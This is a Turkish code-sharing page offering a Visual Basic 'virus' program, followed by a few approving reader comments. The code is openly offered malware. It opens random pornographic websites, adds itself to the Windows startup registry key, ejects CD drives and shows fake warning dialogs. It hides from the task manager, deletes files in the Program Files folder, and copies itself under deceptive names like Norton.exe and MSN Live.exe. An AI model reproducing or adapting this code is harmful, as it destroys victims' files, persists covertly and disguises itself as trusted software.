Programalama > VISUAL BASIC

Etiketler: insana, kafa, yedirten, virüs, kodu

Ort. 3
Puan ver:
Private Sub Form_Load()
On Error Resume Next
'bu bölüm de gördüğünüz 5site açılır
Randomize
r = Int((5 * Rnd) + 1)
If r = 1 Then
WS.Run ("http://hardcore.pornbillboard.net/shannon/1.htm")
ElseIf r = 2 Then
WS.Run ("http://members.nbci.com/_XMCM/prinzje/1.htm")
ElseIf r = 3 Then
WS.Run ("http://www2.sexcropolis.com/amateur/sheila/1.htm")
ElseIf r = 4 Then
WS.Run ("http://sheila.issexy.tv/1.htm")
ElseIf r = 5 Then
WS.Run ("http://www.xvideos.com")
End If

'en iyi nokta regedite ekler ve pc her açıldığında çalışır
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

’Shell.Run "ALSNDMGR.wav", 0 'bu satırda windows baslangıç müziği çalışır "0"parametresi media playeri gizler
’Shell.Run "RUNDLL32 USER32.DLL,SwapMouseButton" 'bu satırda mousenin yeri değişir

'cd-rom açma kapama
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject
'msgboxda mesaj verir
MsgBox "Lütfen yaralarıma pansuman yap", vbInformation, "cüzzam uyarısı"
MsgBox "Lütfen çok acıyo", vbInformation, "cüzzam uyarısı"
MsgBox "Windows cüzzam uyarısı buludu.Çözüm bulunursa size bildirilecek.", vbInformation, "cüzzam uyarısı"

Form1.Hide 'formgizlenir
App.TaskVisible = False 'görev yöneticisinde görünmez

'bu satırlarda program files ın içi boşaltılır
i = Dir("C:/Program Files/", vbArchive + vbHidden + vbNormal)
Do
Kill "c:/Program Files/" & i

i = Dir()
Loop Until (Len(i) < 1)
Dim a
Set a = CreateObject("ShellAplication")
a.shellexecute App.Path

've kendini kopyalar
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Norton.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\InnocentFile.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Wındows.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\System32\MSN Live.exe"

End Sub


Yorumlar                 Yorum Yaz
Efsah-Kali (1) Sakıncalı Yorum 15 November 14:33
nasıl kullancaz? visual basic ile yaptığım antivirüs'ün kod yerinde yazdım güvenli kodlama dedi...
doga (1) Sakıncalı Yorum 17 June 20:35
daha neler var arkadaşım :D ben seviyorum böyle seylerle uğraşmayı :D varsa göndererir misn dogan8386@hotmail.com
onur (1) Sakıncalı Yorum 08 March 16:33
saol durbak bende neler var
p3416 (4) Sakıncalı Yorum 01 March 13:13
gercekten kafayı yedırtıyor actıgına pişman edıyor :DD
KATEGORİLER
ASP - 240
ASP.NET - 24
C# - 75
C++ - 174
CGI - 8
DELPHI - 247
FLASH - 49
HTML - 536
PASCAL - 246
PERL - 11
PHP - 160
WML - 9
XML - 2
Copyright © 2002 - 2024 Hazır Kod - Tüm Hakları Saklıdır.
Siteden yararlanırken gizlilik ilkelerini okumanızı tavsiye ederiz.
hazirkod.com bir İSOBİL projesidir.